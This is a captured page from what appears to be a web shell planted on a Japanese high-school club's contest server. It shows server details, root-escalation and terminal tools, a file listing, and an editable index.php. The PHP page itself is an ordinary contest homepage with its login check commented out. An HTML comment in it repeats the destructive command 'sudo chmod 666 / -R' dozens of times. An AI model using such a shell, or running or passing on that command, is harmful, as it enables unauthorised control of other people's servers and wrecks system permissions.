Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
kougakubu /
htdocs /
Delete
Unzip
Name
Size
Permission
Date
Action
.vscode
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
.well-known
[ DIR ]
drwxrwxr-x
2024-08-29 11:22
DirectEdit-master
[ DIR ]
drwxrwxr-x
2024-08-29 23:14
admin
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
answer
[ DIR ]
drwxr-xr-x
2024-08-28 22:37
api
[ DIR ]
drwxrwxr-x
2025-04-07 13:23
article
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
auth
[ DIR ]
drwxr-xr-x
2024-08-28 00:03
discord
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
discord-bot
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
example
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
img
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
judge
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
problems
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
programming_practice
[ DIR ]
drwxrwxrwx
2026-06-18 21:35
s2
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
submit
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
testimonial
[ DIR ]
drwxr-xr-x
2024-08-27 23:20
MathJax.js
62.04
KB
-rwxr-xr-x
2024-08-27 23:20
answer.html
4.06
KB
-rwxr-xr-x
2024-08-28 00:23
answer.php
4.47
KB
-rwxr-xr-x
2024-08-28 22:38
code.css
475
B
-rwxr-xr-x
2024-08-27 23:20
css.css
2.75
KB
-rwxr-xr-x
2024-08-27 23:20
database.py
4.16
KB
-rwxr-xr-x
2024-08-27 23:20
database2.py
731
B
-rwxr-xr-x
2024-08-27 23:20
default.html
3.3
KB
-rwxr-xr-x
2024-08-28 00:23
default.php
3.82
KB
-rwxr-xr-x
2024-08-28 00:23
detail.php
5.75
KB
-rwxr-xr-x
2024-08-28 00:23
detail2.php
5.79
KB
-rwxr-xr-x
2024-08-28 00:23
fuck.txt
488.29
KB
-rw-r--r--
2024-08-27 23:20
icon.jpg
285.53
KB
-rwxr-xr-x
2024-08-27 23:20
icon.png
285.53
KB
-rwxr-xr-x
2024-08-27 23:20
index.php
9.17
KB
-rwxr-xr-x
2024-08-28 00:22
index2.html
5.91
KB
-rwxr-xr-x
2024-08-28 00:23
judge.php
3.8
KB
-rwxr-xr-x
2024-08-28 00:23
judge.php.save
3.74
KB
-rwxr-xr-x
2024-08-28 00:23
judge.py
4.76
KB
-rwxr-xr-x
2024-08-27 23:20
output.html
1.16
KB
-rwxr-xr-x
2024-08-27 23:20
prism.css
6.22
KB
-rwxr-xr-x
2024-08-27 23:20
prism.js
49.16
KB
-rwxr-xr-x
2024-08-27 23:20
problems.html
4.56
KB
-rwxr-xr-x
2024-08-28 00:23
problems.php
5.6
KB
-rwxr-xr-x
2024-08-28 00:23
rank.php
3.93
KB
-rwxr-xr-x
2024-08-28 00:23
submit.html
4.35
KB
-rwxr-xr-x
2024-08-28 00:23
submit2.php
5.03
KB
-rwxr-xr-x
2024-08-27 23:20
t.php
3.22
KB
-rw-r--r--
2024-08-27 23:20
test-1.php
1.29
KB
-rwxr-xr-x
2024-08-29 23:28
test.php
171
B
-rwxr-xr-x
2024-08-28 00:19
test2.html
445
B
-rwxr-xr-x
2024-08-27 23:20
testimonial.php
4.34
KB
-rwxr-xr-x
2024-08-28 00:23
testimonial_gene.php
18.02
KB
-rwxr-xr-x
2024-08-29 23:28
typescript
2.09
KB
-rwxr-xr-x
2024-08-27 23:20
Save
Rename
<?php /* session_start(); */ /* require_once '/var/www/html/kougakubu/htdocs/auth/session_upload.php'; */ //print_r($_SESSION); //session_upload(); //セッション変数 $_SESSION["loggedin"]を確認。ログイン済だったらウェルカムページへリダイレクト /*if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){ header("location: auth/login.php"); exit; } // admin or TsuruNoTsurugiのみ通す。それ以外はeixt if(!(strcmp($_SESSION['name'],"admin")==0 or strcmp($_SESSION['name'],"TsuruNoTsurugi")==0)){ exit("This page is only for admin user. Please login as admin user"); }*/ //$token=$_SESSION['token'];$id=$_SESSION['id'];$name=$_SESSION['name'];$loggedin=$_SESSION['loggedin']; //$str="?session_id=".$token."&id=".$id."&name=".$name."&loggedin=".$loggedin; ?> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>秋祭 | 工学部</title> <link rel="icon" type="image/png" href="./icon.png"> <link rel="stylesheet" type="text/css" href="./css.css"> <script> let countdown = setInterval(function(){ const now = new Date() const target = new Date(now.getFullYear(), now.getMonth(), 24,'16','00','00') //ターゲット日時を取得 const remainTime = target - now if(remainTime < 0) return false const difDay = Math.floor(remainTime / 1000 / 60 / 60 / 24) const difHour = Math.floor(remainTime / 1000 / 60 / 60 ) % 24 const difMin = Math.floor(remainTime / 1000 / 60) % 60 const difSec = Math.floor(remainTime / 1000) % 60 document.getElementById("countdown-day").textContent = difDay document.getElementById("countdown-hour").textContent = difHour document.getElementById("countdown-min").textContent = difMin document.getElementById("countdown-sec").textContent = difSec if(remainTime < 0) clearInterval(countdown) }, 1000) </script> </head> <body style="background-color: #f9f9f9;"> <header> <a href="./index.php"><img src="./icon.png" class="gaming" height="35px"></a><a> </a> <a class="a-none-color" href="../index.php">秋祭 | 静岡高校工学部</a> <nav class="nav"> <ul class="menu-group"> <li class="menu-item"><a href="/index.php">ホーム</a></li> <li class="menu-item"><a href="/problems.php">問題</a></li> <li class="menu-item"><a href="/test.php<?php echo $str;?>&url=s2/submit.php">提出</a></li> <li class="menu-item"><a href="/judge.php">判定</a></li> <li class="menu-item"><a href="/test.php<?php echo $str;?>&url=s2/Codetest/index.php">コードテスト</a></li> <li class="menu-item"><a href="/rank.php">順位</a></li> <li class="menu-item"><a href="/answer.php">解説</a></li> | <?php echo $_SESSION['name']; ?> </ul> </nav> </header><hr> <br><br> <p class="center" style="font-family:serif;font-size: 40px;text-shadow: #e23b44 2px 2px 3px;">卬高杯</p> <!-- おっきなお友達のみんなえ お前らが打ち込んでいる虚無には 何の意味があるの? ねぇ 教えてよ うい ぜんぜぇーんわからないんだ! ―しぐれうい sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R sudo chmod 666 / -R --> <!-- <div style="text-align: center;"> <span id="countdown-day"></span>日 <span id="countdown-hour"></span>時間 <span id="countdown-min"></span>分 <span id="countdown-sec"></span>秒 </div>--> <div class='gap'> <h2>工学部ってどんなとこ?</h2> <div class='gap'> <p>静岡高校の中でも謎の多い静岡高校工学部。その生態に迫る。</p> <a href='/article/introduce.html'>工学部紹介 by chihi311</a> </div> <h2>競技プログラミングって何?</h2> <div class="gap"> <p>出場者全員に課題が与えられます。その課題の要求を満足するプログラムコードを正確かつ速く提出することを競う競技です。</p> <p>例えば「長さの等しい文字列SとTが与えられるので、Sを並び替えてTと等しくできるか」という課題を考えてみます。あなたならどう解きますか?</p><br> <p class="gap">例:T:abcd,S:cadb→等しくできる。/T:abcd,S:tqsb→等しくできない。</p><br> <p>愚直に、Sの並び替えを全て求め、一つ一つ一致するかを判定するという方法が真っ先に思いつくかもしれません。しかし、S、Tが1000文字、10000文字となるとそれでは非常に長い時間がかかってしまいます。</p> <p>この問題は、SとTをソート(昇順で並び替え)し、ソートした文字列が等しくなるかを判定することで簡単に解くことができます。並び替えて等しくなる文字列の組ならソートしても等しくなります。逆に、等しくならない文字列はソートしても等しくなりません。</p> <p>競技プログラミングは「プログラミング的思考」を楽しく深めることができ、独学でも十分知識をつけることができます。プログラミングをしてみたいけど、やりたいことがない!という方は競技プログラミングの沼にはまりましょう!「AtCoder」というサイトで毎週コンテストが開催されているので参加してみてはいかがですか?</p> </div> </div> <div class="gap"> <h2>コンテスト情報</h2> <ul> <li><a>コンテスト期間: 10月24日(火) 16:00 ~ 10月27日(金) 16:00 (JST)</a></li> <li><a>表彰など: 未定</a></li> <li><a>作問・チェック: 工学部</a></li> <li><a>後援: TsuruNoTsurugiサーバー</a></li> </ul> </div> <div class="gap"> <h2>配点</h2> <table class="" border="1px" width="100%" style="text-align: center;"> <tr><th>問題</th><th>配点</th></tr> <tr><td>A</td><td>100</td></tr> <tr><td>B</td><td>100</td></tr> <tr><td>C</td><td>150</td></tr> <tr><td>D</td><td>150</td></tr> <tr><td>E</td><td>157</td></tr> <tr><td>F</td><td>200</td></tr> <tr><td>G</td><td>300</td></tr> <tr><td>H</td><td style="color: red;" class="gaming">600</td></tr> <tr><td>I</td><td>400</td></tr> <tr><td>J</td><td>450</td></tr> </table> </div> <div class="gap"> <h2>ルール</h2> <ul> <li><a>使用できる言語はPython(3.10.2)とC++(gcc 12.2.1)です。</a></li> <table border="1px" width="100%" style="text-align: center;font-family: monospace;"> <tr><th>言語</th><th>コンパイル</th><th>実行コマンド</th></tr> <tr><td>Python</td><td>-</td><td>python3 ./a.py < input >> output 2>> err</td></tr> <tr><td>C++</td><td>g++ -std=c++20 ./a.cpp -o ./a.exe</td><td>./a.exe < input >> output 2>> err</td></tr> </table> <li><a>出力の最後に改行を1回してください。</a></li> <li><a>実行時間はO(10^12)あたりを上限に設定していますが、言語によって実行時間が異なるため同じオーダー値であってもTLEする場合があります。</a></li> </ul> </div> <div class="gap"> <p>面白い話:ページの上にある光ゲーミング工学部は、実はCSSでできている。</p> </div> <footer> <p>© 静岡高校工学部 2023</p> </footer> </body> </html>